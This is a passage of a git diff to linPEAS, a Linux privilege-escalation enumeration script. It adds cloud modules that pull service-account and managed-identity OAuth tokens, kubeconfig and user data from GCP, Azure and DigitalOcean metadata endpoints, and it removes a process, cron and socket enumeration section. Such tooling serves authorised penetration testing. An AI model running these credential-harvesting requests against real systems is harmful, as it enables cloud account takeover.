"$osl_u" ] && echo "OSLogin users: $osl_u" + osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) + [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" + osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) + [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" + osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) + [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" + + # Instance Info + inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) + [ "$inst_d" ] && echo "Instance Description: " + inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) + [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) + [ "$inst_img" ] && echo "Instance Image: $inst_img" + inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) + [ "$inst_mt" ] && echo "Machine Type: $inst_mt" + inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) + [ "$inst_n" ] && echo "Instance Name: $inst_n" + inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) + [ "$inst_tag" ] && echo "Instance tags: $inst_tag" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") + [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" + inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") + [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" + inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") + [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" + inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") + [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" + inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") + [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" + inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") + [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" + + echo "" + print_3title "Interfaces" + for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do + echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") + echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") + echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") + echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") + echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") + echo " ============== " + done + + echo "" + print_3title "User Data" + echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") + echo "" + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh b/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh new file mode 100644 index 0000000..7c1f8a9 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/7_Azure_VM.sh @@ -0,0 +1,52 @@ +# Title: Cloud - Azure VM +# ID: CL_Azure_VM +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Azure VM Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title +# Global Variables: $is_az_vm +# Initial Functions: check_az_vm +# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_az_vm" = "Yes" ]; then + print_2title "Azure VM Enumeration" + + HEADER="Metadata:true" + URL="http://169.254.169.254/metadata" + API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions + + az_req="" + if [ "$(command -v curl || echo -n '')" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget || echo -n '')" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Instance details" + exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" + + print_3title "Load Balancer details" + exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" + + print_3title "Management token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh b/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh new file mode 100644 index 0000000..2aef9b8 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_app_service.sh @@ -0,0 +1,47 @@ +# Title: Cloud - Azure App Service +# ID: CL_Azure_app_service +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Azure App Service Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_az_app, exec_with_jq, print_2title, print_3title +# Global Variables: $is_az_app, +# Initial Functions: check_az_app +# Generated Global Variables: $API_VERSION, $HEADER, $az_req +# Fat linpeas: 0 +# Small linpeas: 0 + + +API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions + +if [ "$is_az_app" = "Yes" ]; then + print_2title "Azure App Service Enumeration" + echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" + + HEADER="secret:$IDENTITY_HEADER" + + az_req="" + if [ "$(command -v curl || echo -n '')" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget || echo -n '')" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Management token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh b/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh new file mode 100644 index 0000000..a06dc1f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/9_DO_Droplet.sh @@ -0,0 +1,42 @@ +# Title: Cloud - DO Droplet +# ID: CL_DO_Droplet +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: DO Droplet Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_do, print_2title +# Global Variables: $is_do +# Initial Functions: check_do +# Generated Global Variables: $do_req, $URL +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_do" = "Yes" ]; then + print_2title "DO Droplet Enumeration" + + do_req="" + if [ "$(command -v curl || echo -n '')" ]; then + do_req='curl -s -f ' + elif [ "$(command -v wget || echo -n '')" ]; then + do_req='wget -q -O - ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$do_req" ]; then + URL="http://169.254.169.254/metadata" + printf "Id: "; eval $do_req "$URL/v1/id"; echo "" + printf "Region: "; eval $do_req "$URL/v1/region"; echo "" + printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" + printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" + printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" + printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; + printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; + printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; + printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; + printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets.sh deleted file mode 100644 index 1d54671..0000000 --- a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets.sh +++ /dev/null @@ -1,380 +0,0 @@ - -#################################################### -#-----) Processes & Cron & Services & Timers (-----# -#################################################### - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PCS) Cleaned proccesses - print_2title "Cleaned processes" - - if [ "$NOUSEPS" ]; then - printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC - fi - print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" - - if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then - echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users" - fi - - if [ "$NOUSEPS" ]; then - print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," - pslist=$(print_ps) - else - (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do - echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," - if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then - cpid=$(echo "$psline" | awk '{print $2}') - caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" - if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then - printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" - fi - fi - done - pslist=$(ps auxwww) - echo "" - - #-- PCS) Binary processes permissions - print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" - binW="IniTialiZZinnggg" - ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do - if [ -w "$bpath" ]; then - binW="$binW|$bpath" - fi - done - ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," - fi - echo "" -fi - -CURRENT_USER_PIVOT_PID="" -if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then - #-- PCS) Process opened by other users - print_2title "Processes whose PPID belongs to a different user (not root)" - print_info "You will know if a user can somehow spawn processes as a different user" - - # Function to get user by PID - get_user_by_pid() { - ps -p "$1" -o user | grep -v "USER" - } - - # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user - ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do - if [ "$ppid" = "0" ]; then - continue - fi - ppid_user=$(get_user_by_pid "$ppid") - if echo "$user" | grep -Eqv "$ppid_user|root$"; then - echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," - if [ "$ppid_user" = "$USER" ]; then - CURRENT_USER_PIVOT_PID="$ppid" - fi - fi - done - echo "" -fi - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PCS) Files opened by processes belonging to other users - if ! [ "$IAMROOT" ]; then - print_2title "Files opened by processes belonging to other users" - print_info "This is usually empty because of the lack of privileges to read other user processes information" - lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," - echo "" - fi -fi - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PCS) Processes with credentials inside memory - print_2title "Processes with credentials in memory (root req)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory" - if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi - if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi - if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi - if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi - if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi - if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi - echo "" -fi - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PCS) Different processes 1 min - if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then - print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs" - temp_file=$(mktemp) - if [ "$(ps -e -o user,command 2>/dev/null)" ]; then - for i in $(seq 1 1210); do - ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05; - done; - sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"; - rm "$temp_file"; - fi - echo "" - fi -fi - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PCS) Cron - print_2title "Cron jobs" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" - command -v crontab 2>/dev/null || echo_not_found "crontab" - crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," - command -v incrontab 2>/dev/null || echo_not_found "incrontab" - incrontab -l 2>/dev/null - ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" - cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," - crontab -l -u "$USER" 2>/dev/null | tr -d "\r" - ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths - atq 2>/dev/null -else - print_2title "Cron jobs" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" - find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; -fi -echo "" - - -if ! [ "$SEARCH_IN_FOLDER" ]; then - if [ "$MACPEAS" ]; then - print_2title "Third party LaunchAgents & LaunchDemons" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" - ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null - echo "" - - print_2title "Writable System LaunchAgents & LaunchDemons" - find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do - program="" - program=$(defaults read "$f" Program 2>/dev/null) - if ! [ "$program" ]; then - program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) - fi - if [ -w "$program" ]; then - echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; - fi - done - echo "" - - print_2title "StartupItems" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" - ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null - echo "" - - print_2title "Login Items" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" - osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null - echo "" - - print_2title "SPStartupItemDataType" - system_profiler SPStartupItemDataType - echo "" - - print_2title "Emond scripts" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" - ls -l /private/var/db/emondClients - echo "" - fi -fi - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PCS) Services - if [ "$EXTRA_CHECKS" ]; then - print_2title "Services" - print_info "Search for outdated versions" - (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" - echo "" - fi -fi - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PSC) systemd PATH - print_2title "Systemd PATH" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths" - systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" - WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") - echo "" -fi - -#-- PSC) .service files -#TODO: .service files in MACOS are folders -print_2title "Analyzing .service files" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services" -printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do - if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything - if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then - echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" - fi - servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths - printf "%s\n" "$servicebinpaths" | while read sp; do - if [ -w "$sp" ]; then - echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g" - fi - done - relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/") - relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null) - if [ "$relpath1" ] || [ "$relpath2" ]; then - if [ "$WRITABLESYSTEMDPATH" ]; then - echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},"; - else - echo "$s could be executing some relative path" - fi - fi - fi -done -if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi -echo "" - -if ! [ "$SEARCH_IN_FOLDER" ]; then - #-- PSC) Timers - print_2title "System timers" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" - (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found - echo "" -fi - -#-- PSC) .timer files -print_2title "Analyzing .timer files" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" -printf "%s\n" "$PSTORAGE_TIMER" | while read t; do - if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then - echo "$t" | sed -${E} "s,.*,${SED_RED},g" - fi - timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2) - printf "%s\n" "$timerbinpaths" | while read tb; do - if [ -w "$tb" ]; then - echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g" - fi - done - #relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`" - #for rp in "$relpath"; do - # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g" - #done -done -echo "" - -#-- PSC) .socket files -#TODO: .socket files in MACOS are folders -if ! [ "$IAMROOT" ]; then - print_2title "Analyzing .socket files" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" - printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do - if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then - echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" - fi - socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') - printf "%s\n" "$socketsbinpaths" | while read sb; do - if [ -w "$sb" ]; then - echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g" - fi - done - socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') - printf "%s\n" "$socketslistpaths" | while read sl; do - if [ -w "$sl" ]; then - echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g"; - fi - done - done - echo "" - - if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Unix Sockets Listening" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" - # Search sockets using netstat and ss - unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) - if ! [ "$unix_scks_list" ];then - unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") - fi - if ! [ "$unix_scks_list" ];then - unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) - fi - unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/") - fi - - if ! [ "$SEARCH_IN_FOLDER" ]; then - # But also search socket files - unix_scks_list2=$(find / -type s 2>/dev/null) - else - unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null) - fi - - # Detele repeated dockets and check permissions - (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do - perms="" - if [ -r "$l" ]; then - perms="Read " - fi - if [ -w "$l" ];then - perms="${perms}Write" - fi - - if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then - CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')" - if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then - perms="${perms} - Can Connect" - else - perms="${perms} - Cannot Connect" - fi - fi - - if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g"; - else - echo "$l" | sed -${E} "s,$l,${SED_RED},g" - echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g" - # Try to contact the socket - socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null) - if [ $? -eq 0 ]; then - owner=$(ls -l "$s" | cut -d ' ' -f 3) - echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" - echo "$socketcurl" | head -n 30 - fi - fi - done - echo "" -fi - -#-- PSC) Writable and weak policies in D-Bus config files -print_2title "D-Bus config files" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" -if [ "$PSTORAGE_DBUS" ]; then - printf "%s\n" "$PSTORAGE_DBUS" | while read d; do - for f in $d/*; do - if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then - echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" - fi - - genpol=$(grep "" "$f" 2>/dev/null) - if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi - #if [ "`grep \"\" \"$f\" 2>/dev/null`" 